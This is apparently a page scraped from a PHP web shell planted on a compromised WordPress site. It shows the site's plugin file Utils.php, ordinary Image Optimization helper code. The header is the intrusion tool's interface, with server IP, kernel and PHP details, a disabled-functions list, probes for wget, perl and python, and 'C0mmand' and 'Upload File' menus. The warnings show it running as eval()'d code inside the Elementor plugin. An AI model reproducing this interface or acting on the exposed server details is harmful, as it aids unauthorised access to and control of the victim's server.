|
Server IP : 172.19.0.4 / Your IP : 216.73.216.90 Web Server : nginx/1.28.3 System : Linux VM-0-4-debian 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : www ( 1000) PHP Version : 7.4.33 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 341 OFF Directory (0755) : /data1/wwwroot/sc-forklift.com/wp-content/plugins/image-optimization/includes/../classes/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
namespace ImageOptimization\Classes;
use ImageOptimization\Classes\Client\Client;
use ImageOptimization\Plugin;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Utils {
/**
* get_elementor
* @param $instance
*
* @return \Elementor\Plugin|false|mixed|null
*/
public static function get_elementor( $instance = false ) {
static $_instance = null;
if ( false !== $instance ) {
$_instance = $instance;
return $instance;
}
if ( null !== $_instance ) {
return $_instance;
}
if ( class_exists( 'Elementor\Plugin' ) ) {
return \Elementor\Plugin::instance(); // @codeCoverageIgnore
}
return false;
}
public static function get_api_client(): ?Client {
return Client::get_instance();
}
public static function get_module( $module_name = '' ) {
return Plugin::instance()->modules_manager->get_modules( $module_name );
}
public static function get_module_component( $module_name, $component ) {
$module = self::get_module( $module_name );
if ( $module ) {
return $module->get_component( $component );
}
return null;
}
/**
* is_elementor_installed
* @return bool
*/
public static function is_elementor_installed(): bool {
$plugins = get_plugins();
return isset( $plugins['elementor/elementor.php'] );
}
/**
* is_elementor_installed_and_active
* should be used only after `plugins_loaded` action
* @return bool
*/
public static function is_elementor_installed_and_active(): bool {
return did_action( 'elementor/loaded' );
}
public static function is_media_page(): bool {
$current_screen = get_current_screen();
if ( ! $current_screen ) {
return false;
}
return 'upload' === $current_screen->id && 'attachment' === $current_screen->post_type;
}
public static function is_media_upload_page(): bool {
$current_screen = get_current_screen();
if ( ! $current_screen ) {
return false;
}
return 'media' === $current_screen->id && 'add' === $current_screen->action;
}
public static function is_single_attachment_page(): bool {
$current_screen = get_current_screen();
if ( ! $current_screen ) {
return false;
}
return 'attachment' === $current_screen->id && 'post' === $current_screen->base;
}
public static function is_plugin_page(): bool {
$current_screen = get_current_screen();
return str_contains( $current_screen->id, 'image-optimization-' );
}
public static function is_plugin_settings_page(): bool {
$current_screen = get_current_screen();
return str_contains( $current_screen->id, 'image-optimization-settings' );
}
public static function is_bulk_optimization_page(): bool {
$current_screen = get_current_screen();
return str_contains( $current_screen->id, 'image-optimization-bulk-optimization' );
}
public static function user_is_admin(): bool {
return current_user_can( 'manage_options' );
}
public static function is_wp_dashboard_page(): bool {
$current_screen = get_current_screen();
return str_contains( $current_screen->id, 'dashboard' );
}
public static function is_wp_updates_page(): bool {
$current_screen = get_current_screen();
return str_contains( $current_screen->id, 'update' );
}
}